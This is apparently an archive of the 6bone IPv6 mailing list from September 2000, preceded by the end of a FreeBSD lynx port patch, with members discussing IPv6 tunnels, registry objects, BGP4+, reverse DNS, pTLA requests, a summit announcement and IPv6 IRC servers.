 	${CHOWN} -R ${SHAREOWN}:${SHAREGRP} ${L_HELP}
 	${CHOWN} ${SHAREOWN}:${SHAREGRP} ${L_LIB}/lynx.cfg
 
-.include <bsd.port.mk>
+.include <bsd.port.post.mk>
Index: files/md5
===================================================================
RCS file: /home/ncvs/ports/www/lynx-current/files/md5,v
retrieving revision 1.152
diff -u -r1.152 md5
--- files/md5	2000/08/20 20:22:34	1.152
+++ files/md5	2000/09/04 07:05:24
@@ -1 +1 @@
-MD5 (lynx2.8.4dev.7.tar.bz2) = bb44496c4ba2d90958a0548054c8b529
+MD5 (lynx2.8.4dev.9.tar.bz2) = d8863a4c212f8dd61f63db1adafaebb8
Index: patches/patch-ab
===================================================================
RCS file: patch-ab
diff -N patch-ab
--- /dev/null	Mon Sep  4 16:05:19 2000
+++ patch-ab	Mon Sep  4 16:05:24 2000
@@ -0,0 +1,61 @@
+--- WWW/Library/Implementation/www_tcp.h.orig	Fri Aug 25 10:30:11 2000
++++ WWW/Library/Implementation/www_tcp.h	Mon Sep  4 11:03:13 2000
+@@ -56,29 +56,6 @@
+ #define INVSOC (-1)             /* Unix invalid socket */
+ 		/* NB: newer libwww has something different for Windows */
+ 
+-/* IPv6 support */
+-#if defined(HAVE_GETADDRINFO) && defined(HAVE_GAI_STRERROR) && defined(ENABLE_IPV6)
+-#	define INET6
+-#endif /* HAVE_GETADDRINFO && HAVE_GAI_STRERROR && ENABLE_IPV6 */
+-
+-#if !defined(__MINGW32__)
+-#ifdef INET6
+-typedef struct sockaddr_storage SockA;  /* See netinet/in.h */
+-#else
+-typedef struct sockaddr_in SockA;  /* See netinet/in.h */
+-#endif /* INET6 */
+-#endif
+-
+-#ifdef INET6
+-#ifdef SIN6_LEN
+-#define SOCKADDR_LEN(soc_address) ((struct sockaddr *)&soc_address)->sa_len
+-#else
+-#define SOCKADDR_LEN(soc_address) SA_LEN((struct sockaddr *)&soc_address)
+-#endif /* SIN6_LEN */
+-#else
+-#define SOCKADDR_LEN(soc_address) sizeof(soc_address)
+-#endif /* INET6 */
+-
+ #ifndef VMS
+ 
+ #include <sys/types.h>
+@@ -803,5 +780,28 @@
+ #else
+ #define set_errno(value) /* we do not know how */
+ #endif
++
++/* IPv6 support */
++#if defined(HAVE_GETADDRINFO) && defined(HAVE_GAI_STRERROR) && defined(ENABLE_IPV6)
++#	define INET6
++#endif /* HAVE_GETADDRINFO && HAVE_GAI_STRERROR && ENABLE_IPV6 */
++
++#if !defined(__MINGW32__)
++#ifdef INET6
++typedef struct sockaddr_storage SockA;  /* See netinet/in.h */
++#else
++typedef struct sockaddr_in SockA;  /* See netinet/in.h */
++#endif /* INET6 */
++#endif
++
++#ifdef INET6
++#ifdef SIN6_LEN
++#define SOCKADDR_LEN(soc_address) ((struct sockaddr *)&soc_address)->sa_len
++#else
++#define SOCKADDR_LEN(soc_address) SA_LEN((struct sockaddr *)&soc_address)
++#endif /* SIN6_LEN */
++#else
++#define SOCKADDR_LEN(soc_address) sizeof(soc_address)
++#endif /* INET6 */
+ 
+ #endif /* TCP_H */

From 6bone-owner  Tue Sep  5 00:48:38 2000
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On Mon, 4 Sep 2000, William Woods wrote:

> 1) Now what ?? I mean , is there a ipv6 compat browser avaliable for
> FreeBSD?
chimera

> 2) I know this thing is experamental but is there like a list of sites and
> ways to help out?

 look at www.6bone.net

                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE



From 6bone-owner  Tue Sep  5 06:25:30 2000
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Date: Tue, 05 Sep 2000 09:26:36 -0400
From: Kris Deugau <kdeugau@deepnet.cx>
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This isn't directly related to the topic of this list, but I've noticed
a number of people replying to messages- with the To: field set to
whoever sent to original message, and then CC: set to the list.  (I've
just now realized that my message filters can be set up to handle this.)

This means that I end up with a few messages that, in some cases, can't
be told apart from spam by looking at subject and sender.

Two questions, for list admins and/or members:

1)  Should the Subject have a header of some kind automagically added so
incoming messages can be quickly identified?  Most other mailing lists
I'm on have something like this.

2) Should CC's to the list be rejected?  (This is minor;  I'm curious
why a reply to the list instead of the original sender should be
desireable or necessary.)

-Kris Deugau
-- 
If a man were beset by green demons, and took his problem to the church,
a priest would pray for the sickness in his soul.  If he took his
problem to the doctor, a psychiatrist would probe for the sickness in
his mind.  But only a consulting philosopher would pick up a stick and
help him chase the demons.

From 6bone-owner  Tue Sep  5 07:41:33 2000
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Date: Tue, 5 Sep 2000 09:41:05 -0500
From: Jim <jameso@elwood.net>
To: Sean Quaint <squaint@mediaone.net>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 and NAT
Message-ID: <20000905094105.A26461@elwood.net>
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In-Reply-To: <39B2B3CA.57A2F6F@mediaone.net>; from squaint@mediaone.net on Sun, Sep 03, 2000 at 04:25:46PM -0400
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I wrote a article describing how to use IPv6 behind a NAT. It is wrote
for BSD, but it should help you at well. You can see it in the latest
issue of Daemon News (http://www.daemonnews.org/) at
http://www.daemonnews.org/200009/ipv6.html.

Good luck.

On Sun, Sep 03, 2000 at 04:25:46PM -0400, Sean Quaint wrote:
> Hello,
> 
> I have a linux box ipchains to hide a couple hosts behind a cable
> modem.  It runs only IPv4.  One of my private hosts is a Solaris 8 sparc
> with IPv6 enabled.  I've run the perl script from freenet6.net, and have
> now the following ip setup:
> 
> # ifconfig -a
> le0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
> inet 192.168.100.11 netmask ffffff00 broadcast 192.168.100.255 ether
> 8:0:20:76:78:69
> le0: flags=2000841<UP,RUNNING,MULTICAST,IPv6> mtu 1500 index 2  ether
> 8:0:20:76:78:69 inet6 fe80::a00:20ff:fe76:7869/10
> ip.tun0: flags=2200850<POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu
> 1480 index 3   inet tunnel src 24.30.58.147 inet6 fe80::181e:3a93/10 -->
> fe80::ce7b:1f66
> ip.tun0:1: flags=2200850<POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu
> 1480 index 3 inet6 3ffe:b00:c18:1fff::65b/128 --> 3ffe:b00:c18:1fff::65a
> 
> ip.tun0:2: flags=2200850<POINTOPOINT,RUNNING,MULTICAST,NONUD,IPv6> mtu
> 1480 index 3 inet6 3ffe:b00:c18:1fff::65b/128 --> 3ffe:b00:c18:1fff::65a
> 
> and my routing tables are:
> 
> # netstat -rn
> 
> Routing Table: IPv4
>   Destination           Gateway           Flags  Ref   Use   Interface
> -------------------- -------------------- ----- ----- ------ ---------
> 192.168.100.0        192.168.100.11        U        1      6  le0
> 224.0.0.0            192.168.100.11        U        1      0  le0
> default              192.168.100.2         UG       1    184
> 127.0.0.1            127.0.0.1             UH       6  28863  lo0
> 
> Routing Table: IPv6
>   Destination/Mask            Gateway                   Flags Ref
> Use   If
> --------------------------- --------------------------- ----- --- ------
> -----
> fe80::/10                   fe80::a00:20ff:fe76:7869    U       1      0
> le0
> ff00::/8                    fe80::a00:20ff:fe76:7869    U       1      0
> le0
> default                     fe80::a00:20ff:fe76:7869    U       1     17
> le0
> default                     3ffe:b00:c18:1fff::65a      UG      1      0
> 
> ::1                         ::1                         UH      1      0
> lo0
> 
> 
> Now when I try to ping an IPv6 addr, I get no route to host:
>  # ping -A inet6 ftp.ring.gr.jp
> ICMPv6 Address Unreachable from gateway fe80::a00:20ff:fe76:7869
>  for icmp6 from fe80::a00:20ff:fe76:7869 to 2001:240:3:2::1
> 
> I'm sure the NAT configuration has something to do with this.  But I'm
> not sure what to do about it.
> 
> Thanks in advance,
> 
> Sean Quaint
> 
> 

-- 
Jim O'Gorman           | Captain Hook died of jock itch.     
UNIX Admin             |                                     
----                   |                                     
jameso@elwood.net      |                                     
jameso@class.com       |                                     

From 6bone-owner  Tue Sep  5 09:20:20 2000
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Message-ID: <019201c01755$55c1d800$0200000a@moorecomputersolutions.com>
Reply-To: "Terry" <mterry6249@uswest.net>
From: "Terry" <mterry6249@uswest.net>
To: <6bone@ISI.EDU>
Subject: 6bone registry
Date: Tue, 5 Sep 2000 09:21:24 -0700
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I now have a tunnel to the 6bone and site prefix  -  I could use some
information on creating the right 6bone registry objects for my site. e.g.
which objects do I need to create ?

So far I created a person object for me : TJM1-6BONE  and I guess the next
one I need is an IPV6-SITE object.  I have one question with this - what
should I use as a site identifier in the IPV6-SITE:  field  anything ? or is
there some standard naming system I should follow ?

Thanks

Terry Moore-Read



From 6bone-owner  Tue Sep  5 10:34:29 2000
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Date: Tue, 05 Sep 2000 10:35:38 -0700
To: "Terry" <mterry6249@uswest.net>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone registry
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At 09:21 AM 9/5/2000 -0700, Terry wrote:
>I now have a tunnel to the 6bone and site prefix  -  I could use some
>information on creating the right 6bone registry objects for my site. e.g.
>which objects do I need to create ?
>
>So far I created a person object for me : TJM1-6BONE  and I guess the next
>one I need is an IPV6-SITE object.  I have one question with this - what
>should I use as a site identifier in the IPV6-SITE:  field  anything ? or is
>there some standard naming system I should follow ?

An IPv6-site object should be named something representative of the site, 
network or organizations that owns/is-responsible-for the object.


Bob


From 6bone-owner  Tue Sep  5 17:19:18 2000
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From: Geoff <gphillips@clarkie.net>
Subject: IPv6 on 98
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Hello,

	I'd like to try IPv6 out and try to help where I can but right now all I 
have is a Win98 box but I haven't seen that a poor college student can 
afford (I'm looking for GNU/copyleft or free :) ). I'm also looking for 
something for BeOS.

	I think I can take care of finding something for my Linux/FreeBSD boxes 
once I get them up here.



Thank you,

Geoff


From 6bone-owner  Thu Sep  7 00:38:08 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
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Subject: Re: IPv6 on 98
In-Reply-To: <4.3.2.7.0.20000905195920.00a99660@mail.clarkie.org> from Geoff at "Sep 5, 2000  8:19:40 pm"
To: gphillips@clarkie.net (Geoff)
Date: Thu, 7 Sep 2000 15:35:00 +0800 (CST)
Cc: 6bone@ISI.EDU
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hi
  At present Microsoft has released a MSR IPv6 stack, but only for
WinNT4.0 and Win2000, not for win98 and win95. It is a good stack.
  You can find much supporting under *BSD and Linux. Also HPUX and AIX
can support IPv6.
  Best
         haisang

> Hello,
> 
> 	I'd like to try IPv6 out and try to help where I can but right now all I 
> have is a Win98 box but I haven't seen that a poor college student can 
> afford (I'm looking for GNU/copyleft or free :) ). I'm also looking for 
> something for BeOS.
> 
> 	I think I can take care of finding something for my Linux/FreeBSD boxes 
> once I get them up here.
> 
> 
> 
> Thank you,
> 
> Geoff
> 
> 


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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: <6bone@ISI.EDU>
Subject: Question about BGP4+
Date: Thu, 7 Sep 2000 10:59:52 +0300
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Hello everybody,

I have set up a BGP4+ connection with my neighbor and when we check the
advertisements that my neighbor receives from my router, we see that the
advertising address is the link-local address of my tunnel side (that is
FE80:....). Shouldn't it be the Glocal unicast address (3FFE:...)??

Thanks in advance for the responses,


Vicky Kontogianni
Network Technologies Sector
Computer Technology Institute
PATRAS-GREECE

Tel. 061 - 960377
e-mail: kontogia@cti.gr


From 6bone-owner  Thu Sep  7 05:48:36 2000
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Date: Thu, 7 Sep 2000 14:42:45 +0200 (MET DST)
From: Xavier Mertens <xavier@euro.net>
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To: Kontogianni Vicky <kontogia@cti.gr>
cc: 6bone@ISI.EDU
Subject: Re: Question about BGP4+
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Vicky,

Do you use a Cisco router ?
In this case, be sure to upgrade to the laster IPv6 IOS release! We had
problem setting up BGP4+ sessions. The upgrade fixed all our problems!

X

--
Xavier Mertens,         .  .   EuroNet Internet  "Contrary to popular belief, 
NOC Manager          .      *  a subsidiary of    Unix is userfriendly. It
XM3-RIPE XM1-6BONE  .          France Telecom     just happens to be selective
                                                  about who it makes friends
                                                  with."

On Thu, 7 Sep 2000, Kontogianni Vicky wrote:

> Hello everybody,
> 
> I have set up a BGP4+ connection with my neighbor and when we check the
> advertisements that my neighbor receives from my router, we see that the
> advertising address is the link-local address of my tunnel side (that is
> FE80:....). Shouldn't it be the Glocal unicast address (3FFE:...)??
> 
> Thanks in advance for the responses,
> 
> 
> Vicky Kontogianni
> Network Technologies Sector
> Computer Technology Institute
> PATRAS-GREECE
> 
> Tel. 061 - 960377
> e-mail: kontogia@cti.gr
> 


From 6bone-owner  Thu Sep  7 09:07:07 2000
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Date: Thu, 07 Sep 2000 11:08:33 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
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To: George Rivera <grivera@nortelnetworks.com>
CC: 6bone@ISI.EDU
Subject: Re: IPv6 "Subnetting" Document
References: <EFBFC61D4751D311A63C0008C791848801A377C7@zsc4c006.corpwest.baynetworks.com>
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George,

Why is it any different (in principle) from subnetting an IPv4 site using
variable length subnet masks? Under a /48 prefix you have 16 bits to use
as you wish for subnet structure. My advice would be to be conservative
with the bits - i.e. go for a flat rather than a hierarchical
allocation model. I've switched this to the 6bone list where
you will find the most experienced deployers.

   Brian

> George Rivera wrote:
> 
> IPv6 folks:
> 
> I'm looking for an IPv6 addressing document which explains the actual IPv6 "subnetting" process used to subdivide IPv6
> addresses into multiple "subnets" within a customer IP network.
> 
> Please advise...
> 
> George A. Rivera, Network Consultant
> Nortel Networks
> Global Professional Services (GPS)
> 4401 Great America Parkway
> Santa Clara, CA. 95052
> Cell 714.240.0305
> Office 408.495.3512

From 6bone-owner  Thu Sep  7 09:09:35 2000
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From: "Jef Seghers" <jef.seghers@pandora.be>
To: <6bone@ISI.EDU>
Subject: IPv6 Enabled browers
Date: Thu, 7 Sep 2000 18:12:36 +0200
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Hello all,

is it possible to IPv6-enable Internet Explorer 5.5?

thx,
Jef Seghers

From 6bone-owner  Thu Sep  7 09:36:06 2000
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Date: Thu, 07 Sep 2000 09:37:13 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA for  BELNET-BE closes on 21Sep00
Cc: ipv6@belnet.be, marc@dagesh.fw.belnet.be
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BELNET-BE requests a pTLA. This opens a two week review period, so please 
send any comments to me or the 6bone list.

This review period closes on 21 Sep 2000.


Thanks,

Bob

===
>Date: Thu, 7 Sep 2000 17:57:11 +0200 (MET DST)
>From: Marc Roger <marc@belnet.be>
>To: Bob Fink <fink@es.net>
>cc: ipv6@belnet.be
>Subject: Re: IPv6 pTLA application
>
>Bob,
...
>Please find our answers below.
>
>rfc2772>   1. The pTLA Applicant must have a minimum of three (3) months
>rfc2772>      qualifying experience as a 6Bone end-site or pNLA 
>transit.  During
>rfc2772>      the entire qualifying period the Applicant must be operationally
>rfc2772>      providing the following:
>
>Our 6bone connectivity is operationnal since january 2000.
>
>rfc2772>      a. Fully maintained, up to date, 6Bone Registry entries for 
>their
>rfc2772>         ipv6-site inet6num, mntner, and person objects, including 
>each
>rfc2772>         tunnel that the Applicant has.
>
>We do maintain up-to-date ipv6-site (BELNET-BE), inet6num (3FFE:608:2::/48),
>mnter (MNT-BELNET) and person (MR105-RIPE) objects, it includes all tunnels
>we currently have.
>
>rfc2772>      b. Fully maintained, and reliable, BGP4+ peering and 
>connectivity
>rfc2772>         between the Applicant's boundary router and the appropriate
>rfc2772>         connection point into the 6Bone. This router must be IPv6
>rfc2772>         pingable. This criteria is judged by members of the 6Bone
>rfc2772>         Operations Group at the time of the Applicant's pTLA request.
>
>We maintain BGP4+ peering with SURFnet (AS1103) a.o. This information can be
>verified from our looking glass at http://www.belnet.be/cgi-bin/lg
>
>rfc2772>      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>rfc2772>         entries for the Applicant's router(s) and at least one host
>rfc2772>         system.
>
>For instance:
>% dig vivaldi6.ipv6.belnet.be aaaa
>...
>vivaldi6.ipv6.belnet.be.  15M IN AAAA  3ffe:608:2:1::2
>...
>
>% 
>dig 
>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.2.0.0.0.8.0.6.0.e.f.f.3.ip6.int ptr
>...
>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.2.0.0.0.8.0.6.0.e.f.f.3.ip6.int. 
>1D IN PTR  vivaldi6.ipv6.belnet.be.
>...
>
>rfc2772>      d. A fully maintained, and reliable, IPv6-accessible system
>rfc2772>         providing, at a mimimum, one or more web pages, 
>describing the
>rfc2772>         Applicant's IPv6 services.  This server must be IPv6 
>pingable.
>
>This page can be found under http://vivaldi.belnet.be/ (also as 
>http://www.ipv6.belnet.be/ipv6/,
>the address 3ffe:608:2:1::2 is pingable.
>
>rfc2772>   2. The pTLA Applicant MUST have the ability and intent to provide
>rfc2772>      "production-quality" 6Bone backbone service. Applicants must
>rfc2772>      provide a statement and information in support of this claim.
>rfc2772>      This MUST include the following:
>rfc2772>
>
>We do intend to provide production quality IPv6 service to our customers.
>
>rfc2772>      a. A support staff of two persons minimum, three preferable, 
>with
>rfc2772>         person attributes registered for each in the ipv6-site object
>rfc2772>         for the pTLA applicant.
>
>The composition of the support staff can be obtained by retrieving the
>"SST1-RIPE" role object in the RIPE Database.
>
>rfc2772>      b. A common mailbox for support contact purposes that all 
>support
>rfc2772>         staff have acess to, pointed to with a notify attribute 
>in the
>rfc2772>         ipv6-site object for the pTLA Applicant.
>
>ipv6@belnet.be is the contact e-mail address.
>
>rfc2772>   3. The pTLA Applicant MUST have a potential "user community" that
>rfc2772>      would be served by its becoming a pTLA, e.g., the Applicant is a
>rfc2772>      major provider of Internet service in a region, country, or 
>focus
>rfc2772>      of interest. Applicant must provide a statement and 
>information in
>rfc2772>      support this claim.
>
>BELNET is the national research network. We provide high speed connections
>to Universities, research centres, high schools and public
>administrations. Our user community is estimated to 100k-200k users.
>
>More information about BELNET can be found at http://www.belnet.be/
>
>rfc2772>   4. The pTLA Applicant MUST commit to abide by the current 6Bone
>rfc2772>      operational rules and policies as they exist at time of its
>rfc2772>      application, and agree to abide by future 6Bone backbone
>rfc2772>      operational rules and policies as they evolve by consensus 
>of the
>rfc2772>      6Bone backbone and user community.
>
>I do.
>
>--
>Marc.Roger@belnet.be, BELNET, the National Research Network



From 6bone-owner  Thu Sep  7 12:35:46 2000
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Reply-To: "Terry" <mterry6249@uswest.net>
From: "Terry" <mterry6249@uswest.net>
To: <6bone@ISI.EDU>
Subject: IPV6 reverse DNS
Date: Thu, 7 Sep 2000 12:36:35 -0700
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Can somebody point me to a resource on setting up reverse dns for IPV6 ?

Thanks


Terry Moore-Read



From 6bone-owner  Thu Sep  7 12:38:34 2000
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To: 6bone@ISI.EDU
Subject: Anyone using BIND v9 out there?
Date: Thu, 07 Sep 2000 12:39:11 -0700
From: Stephen Stuart <stuart@mfnx.net>
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I've got BIND v9.0.0rc5 running on host rwc.tech.org; in theory, it
will take IPv6 requests for DNS queries. If anyone out there has a
resolver library that can issue queries to a recursive server via
IPv6, I'd be curious to know what happens when you point your 
resolver at rwc.tech.org's AAAA record.

Stephen

From 6bone-owner  Thu Sep  7 12:55:30 2000
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To: Terry <mterry6249@uswest.net>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: IPV6 reverse DNS 
In-reply-to: Your message of Thu, 07 Sep 2000 12:36:35 PDT.
             <00dc01c01902$ef1c1d40$0200000a@moorecomputersolutions.com> 
Date: Thu, 07 Sep 2000 14:56:27 -0500
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> Can somebody point me to a resource on setting up reverse dns for IPV6 ?

RFC 1886 - widely used (relative to v6, anyway)
RFC 2874 - new & improved

From 6bone-owner  Thu Sep  7 13:06:30 2000
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Date: Thu, 07 Sep 2000 13:07:31 -0700
To: "Terry" <mterry6249@uswest.net>
From: Bob Fink <fink@es.net>
Subject: Re: IPV6 reverse DNS
Cc: 6BONE List <6bone@ISI.EDU>
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Terry,

At 12:36 PM 9/7/2000 -0700, Terry wrote:
>Can somebody point me to a resource on setting up reverse dns for IPV6 ?

 From the "how to join the 6bone" web page:

DNS SUPPORT

You will need a nameserver that supports IPv6 AAAA records. The IPv6 DNS 
Setup web pages, written/maintained by Yuji Sekiya (ISI) and Bertrand 
Buclin (AT&T Labs Europe), shows how to setup for IPv6 in an existing IPv4 
DNS server. Note that you will need a secondary that also supports AAAA 
records.

<http://www.isi.edu/~sekiya/IPv6/DNS.html>


Reverse mappings for IPv6 are done under the ip6.int delegation. Contact 
Bill Manning at bmanning@isi.edu as he is responsible for setting it up. 
Also, see Bill's comments on this.

<http://www.6bone.net/6bone_reverse_dns.html>


Bob


From 6bone-owner  Fri Sep  8 02:22:21 2000
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From: "qh" <qh@nudt.edu.cn>
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Subject: Applying for a tunnel
Date: Mon, 21 Aug 2000 11:29:51 +0800
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Hi,all.
I am expriencing IPv6 technology and I have built an IPv6 system which
consists of one NT machine and two Linux machines.I want to build a tunnel
with the outside.Shall anyone be so kind to apply me connection endpoint?My
address is 202.197.0.250.
Thank you.

Zhiwen



From 6bone-owner  Fri Sep  8 23:18:18 2000
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Date: Sat, 09 Sep 2000 15:18:53 +0900 (JST)
Message-Id: <20000909.151853.74665794.kazu@Mew.org>
To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
Subject: The Global IPv6 Summit in Japan
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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# This is the third try since the previously posted message have not
# delivered. Sorry if you receive duplicated messages.

Hello IPv6 folks,

"The Global IPv6 Summit in Japan" will be held in the next week of
IETF San Diego at Osaka city, Japan. Most presentations/panels are
spoken in Japanese but we prepare translators between Japanese and
English. So, we would like to call for your participation.

Also you have a chance to appeal your IPv6 business in a session. We
would also like to call for your presentations.

// Steering Group of the Global IPv6 Summit in Japan

----
	Call for participation and presentations for
	"the Global IPv6 Summit in Japan"

<<Abstract>>

The Global IPv6 Summit, under the organization of the IPv6 Forum, is
held regularly around the world to accelerate the deployment of
IPv6. We are happy to announce that this conference will be held in
Japan, one of the leading countries in the areas of IPv6 development
and deployment.

The Internet is built on the foundations of the Internet Protocol
(IP). The current version of IP is named IPv4 after its version
number. The total number of devices that IPv4 can identify is limited
to about 4.3 billion. It's hard to see the Internet becoming the
foundation of a true, universal communications infrastructure when
this number is compared to the human population.

In fact, it is expected that the entire address space of IPv4 will be
exhausted by around 2008. So, address assignment/allocation is
currently being carried out under a very restrictive policy. NAT
(Network Address Translator) was introduced as a temporary solution,
resulting in the loss of some of the original functionality of the
Internet.

The principles of the Internet are end-to-end and bidirectional
communication. This means every node can communicate with every other
freely without any restrictions caused by intermediate nodes. Since
NAT broke these principles, it became difficult for unexpected novel
applications to appear in the current environment of the Internet.

To resolve the exhaustion of IP addresses, extending its address space
is a straightforward solution. IPv6, the next generation of IP,
provides a huge number of IP addresses and makes NAT obsolete allowing
the Internet to recover its original principles.

IPv6 is a paradigm recovery for applications. After deploying IPv6 and
recovering end-to-end/bidirectional communication, we cannot imagine
what kind of applications will appear.

This conference will introduce the current deployment status of IPv6
throughout the world. Also, panel discussions are planned, both on
"How IPv6 will Change Business" and on "Case Studies: Making the
Change to IPv6".

Getting Internet people together, including those who are involved in
IPv6 activities and IPv4 business and management, we intend to discuss
the future of Internet business and the direction of engineering.
This conference will be beneficial for everyone including, but not
limited to, engineers, researchers, network managers and business
people. We would like to invite each of you to participate.

<<The Host>>

	Steering Group of the Global IPv6 Summit in Japan
	(Contact: info@jp.ipv6forum.com)

<<Logistics>>

	Date:
		December 18 - 19, 2000
		(As a part of Internet Week 2000)
	Venue: 
		Grand Cube Osaka (Osaka International Convention Center)
		5-3-51, Nakanoshima, Kita-ku, Osaka 530-0005, JAPAN
		Phone: +81-6-4803-5555
		Fax:   +81-6-4803-5620
		E-mail: soumu@gco.co.jp
		http://www.gco.co.jp/index.html
		(The same place as Internet Week 2000)

<<Registration Fee>>

	<Conference Fee>

			Early registration	Regular/
			discount		On-site registration
			(until Oct 31)
	Non-student	10,000 JPY		15,000 JPY
	Student		 2,000 JPY		 2,000 JPY

	<Reception Fee>

	Non-student	 5,000 JPY
	Student		 3,000 JPY


<<Program>>

	December 18 (Mon)

		Keynote Speech 1: Dr. Jun Murai, WIDE Project
		Session 1: Business report on IPv6 in Japan
		Session 2: Status report from Asian countries
		Session 3: Panel on how IPv6 will change business

		Reception

	December 19 (Tue)

		Keynote Speech 2: Dr. Steve Deering, Cisco Systems
		Session 4: Business report on IPv6 around the world
		Session 5: Case Studies: Making the Change to IPv6

<<Participation>>

This conference will be held as a part of Internet Week 2000. Please
refer to the following page for registration:

	http://www.jp.ipv6forum.com/

<<Presentation Proposals>>

The program committee calls for presentation proposal for "Session 4:
Business report of IPv6 around the world". Candidates are sTLA holders
and IPv6 vendors. Please propose a "10 minutes" presentation on your
IPv6 business.

If you would like to give a presentation, please send an e-mail
message in the following form. Please note that we may not accept all
proposals due to the time limitations of the program.

Format:			See below
Deadline:		September 30, 2000
Notification date:	October 6, 2000

	To: cfp@jp.ipv6forum.com
	Subject: presentation proposal

	Name		:
	Title		:
	Email		:
	Telephone number:
	Organization	:
	Department	:

	Your proposal in plain text (no more than 250 words)
	explaining as concretely as possible your point of view and
	what kind of presentation can be expected.
----

From 6bone-owner  Sun Sep 10 14:02:02 2000
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Date: Sun, 10 Sep 2000 17:01:53 -0400 (EDT)
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Subject: ipv6 IRC servers?
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Are there any, preferably (also) connected to the EFNET servers?

/ji

From 6bone-owner  Sun Sep 10 17:46:28 2000
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Subject: Re: ipv6 IRC servers?
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Quoting ji@research.att.com:
> Are there any, preferably (also) connected to the EFNET servers?

Not as far as I know.  DALnet is in the process of developing IPV6 support into 
their IRCd, however it requires a complete rewrite of the configuation format 
due to the fact that the most common config formats uses colons as separators.  
It also raises issues with the present IRC protocol as it also uses colons as 
separators.

ETA on DALnet's IPV6 support is about 6-8 months away.  It *is* all 
volunteer. :)

-Aaron Wiebe
Senior Coder, DALnet IRCd Coding Team

-----------------------------------------------------
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From 6bone-owner  Mon Sep 11 00:56:17 2000
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Date: Mon, 11 Sep 2000 01:56:11 -0600 (MDT)
From: Ryan Lortie <ryan@continuity.e-boxen.com>
To: 6bone@ISI.EDU
Subject: Re: ipv6 IRC servers?
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On Sun, 10 Sep 2000 ji@research.att.com wrote:

> Are there any, preferably (also) connected to the EFNET servers?
> 
> /ji
> 
Well, we're not connected to EFNet, but just started running a server
(irc.paradisec.ca) .. today, actually.

It only allows connections from 6bone folks (no ipv4 connectivity) and has
almost no users for the time being (as it was just started today) but
maybe we can get something going here *shrugs*

Ryan


From 6bone-owner  Mon Sep 11 03:38:58 2000
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From: tkuiper@tobit.com
Subject: Re: ipv6 IRC servers?
To: 6bone@ISI.EDU
Date: 11 Sep 2000 10:38:53 UT
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IRCnet (big european net) has those v6 servers:

eu.irc6.net
eu-de.irc6.net
eu-fi.irc6.net
be.irc6.net
it.irc6.net

Best Regards,
Thomas


-------- Original Message --------
Subject: Re: ipv6 IRC servers? (11-Sep-2000 12:29)
From:    ryan@continuity.e-boxen.com
To:      tkuiper@tobit.com

> 
> 
> On Sun, 10 Sep 2000 ji@research.att.com wrote:
> 
> > Are there any, preferably (also) connected to the EFNET servers?
> > 
> > /ji
> > 
> Well, we're not connected to EFNet, but just started running a 
> server(irc.paradisec.ca) .. today, actually.
> 
> It only allows connections from 6bone folks (no ipv4 connectivity) and 
> hasalmost no users for the time being (as it was just started today) 
> butmaybe we can get something going here *shrugs*
> 
> Ryan


From 6bone-owner  Mon Sep 11 04:48:29 2000
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Date: Mon, 11 Sep 2000 13:48:12 +0200 (MEST)
From: Marc Roger <marc@belnet.be>
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cc: 6bone@ISI.EDU
Subject: Re: [6bone] ipv6 IRC servers?
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On Sun, 10 Sep 2000 ji@research.att.com wrote:

> Are there any, preferably (also) connected to the EFNET servers?

There are quite a few IPv6-aware irc servers on the IRCnet network. For
instance irc.belnet.be [3ffe:608:2:1::2], eu.irc6.et
[3ffe:2610:1:ff10::2], or irc.missingU.com
[3ffe:2900:e002:0:250:b7ff:fe14:6155]

BitchX (http://www.bitchx.com/) is an IPv6-aware irc client.

--  
Marc.Roger@belnet.be, BELNET


From 6bone-owner  Mon Sep 11 06:23:43 2000
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From: Fredrik Dahlberg <fd@telia.net>
To: 6bone@ISI.EDU
Subject: Re: [6bone] ipv6 IRC servers?
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On Mon, 11 Sep 2000, Marc Roger wrote:

> BitchX (http://www.bitchx.com/) is an IPv6-aware irc client.

Late versions of ircII 4.4 has IPv6 support and work well with it. No need
to run BitchX. ;)


From 6bone-owner  Mon Sep 11 09:58:31 2000
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From: Geoff <gphillips@clarkie.net>
Subject: books and rfcs
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Hello,

	I need to do some research on IPv6 for one of my classes. I was wondering 
if someone can tell me which are the current RFC/FYI as well as suggest 
some good books (technical, academic, advanced, intermediate, journals, 
etc). It's up to my professor what he will make me do with the knowledge I 
learn it could range from a paper to a program. So I need to be ready for 
almost anything.

Thank you,
and thank you for the help on Win98 and IPv6 (it looks like I need to pick 
on my linux/FBSD box asap)

Geoff


From 6bone-owner  Tue Sep 12 13:56:02 2000
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Date: Tue, 12 Sep 2000 13:55:51 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Fwd: Stealth, pTLA request.
Cc: Shrihari Pandit <spandit@stealth.net>
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STEALTH requests a pTLA. I am waving the 3 month review period (Stealth has 
about 1.5 months on the 6bone) due to the recommendation of Rob Rockell of 
SPRINT.

This opens a two week review period, so please send any comments to the me 
or the 6bone list.

This review period closes on 26 Sep 2000.


Thanks,

Bob

>Date: Tue, 12 Sep 2000 14:25:29 -0400
>From: Shrihari Pandit <spandit@stealth.net>
>To: fink@es.net
>Cc: rrockell@sprint.net
>Subject: Stealth, pTLA request.
>User-Agent: Mutt/1.2.5i
>
>Dear Bob Fink,
>
>    This is Shrihari Pandit of Stealth Communications, Inc.  Stealth is
